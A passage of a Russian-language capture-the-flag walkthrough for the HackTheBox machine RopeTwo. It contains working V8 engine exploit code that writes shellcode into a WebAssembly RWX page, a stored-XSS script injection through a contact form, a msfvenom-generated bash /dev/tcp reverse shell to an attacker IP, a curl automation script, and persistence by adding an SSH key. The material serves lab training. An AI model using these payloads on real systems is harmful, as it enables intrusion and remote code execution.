var wasm_instance = new WebAssembly.Instance(wasm_mod);
var exploit = wasm_instance.exports.main;
// Получаем адрес wasm_instance
var wasm_instance_addr = addrof(wasm_instance);
console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));
var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // Постоянное смещение страницы rwx = 0x68
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf); // Получаем адрес ArrayBuffer
let backing_store_addr = buf_addr + 0x14n; // Постоянное смещение backing_store=0x14
arb_write(backing_store_addr, addr); // Изменяем адрес backing_store_addr на addr
// Пишем шелл по адресу backing_store_addr
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
// msfvenom -p linux/x64/exec -f dword CMD='твой_шелл_код'
var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068,
0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162, 0x20632d20, 0x68636522,
0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);
// Пишем реверс-шелл по адресу rwx_page
copy_shellcode(rwx_page_addr, shellcode);
// Вызываем wasm_instance c нашим реверс-шеллом
exploit();

За­пус­каем наш тес­товый экс­пло­ит:

artex@ubuntu:~/v8/out.gn/x64.release# ./d8 /mnt/share/v8/test.js
[+] Controlled float array: 0x8040385080882ed
[+] Wasm addr: 0x8040385082110b1
[+] RWX Wasm page addr: 0x29db47484000
PWNED!

Ра­бота­ет!

Ос­тался пос­ледний шаг — разоб­рать­ся, как его запус­тить на уда­лен­ной машине.

Единс­твен­ный инте­рак­тивный эле­мент на сай­те — это фор­ма обратной свя­зи по адре­су http://rope2.htb:8000/contact. Так как V8 — это дви­жок JS, оче­вид­но, что надо как‑то скор­мить ему наш JavaScript. Запус­каем сер­вер HTTP: python -m http.server 8070 — и вво­дим во все поля фор­мы

<script src="http://10.10.xx.xx:8070/v8.js"></script>

И получа­ем зап­рос от сер­вера! Пос­ле недол­гих экспе­римен­тов я выяс­нил, что запуск скрип­та триг­герит поле Message.

Проверяем XSS
Про­веря­ем XSS

Те­перь дело за малым. Генери­руем боевой пей­лоад с реверс‑шел­лом и встав­ляем его в наш скрипт.

msfvenom -p linux/x64/exec -f dword CMD='bash -c "bash -i >& /dev/tcp/10.10.xx.xx/7090 0>&1"'

Кла­дем скрипт в пап­ку, из которой запущен наш веб‑сер­вер, запус­каем netcat (nc -lnvp 7090) и отправ­ляем фор­му с зап­росом скрип­та в поле Message.

На­конец‑то дол­гождан­ный шелл!

Получаем шелл
По­луча­ем шелл

Что­бы авто­мати­зиро­вать про­цесс, я написал пару строк на bash — получив­ший­ся файл нуж­но положить в ту же пап­ку, где лежит скрипт.

python -m http.server 8070 &
curl -d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' -L http://10.10.10.196:8000/contact &
nc -lnvp 7090

Прав­да, сес­сия живет не боль­ше минуты — видимо, на сер­вере сра­баты­вает тайм‑аут. Что­бы сде­лать себе ста­биль­ный шелл, нуж­но добавить поль­зовате­лю chromeuser свой ключ SSH:

mkdir /home/chromeuser/.ssh
echo 'твой_ssh_ключ'>>/home/chromeuser/.ssh/authorized_keys

На­деюсь, было инте­рес­но и ты узнал для себя мно­го нового!

Подписаться
Уведомить о
2 комментариев
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии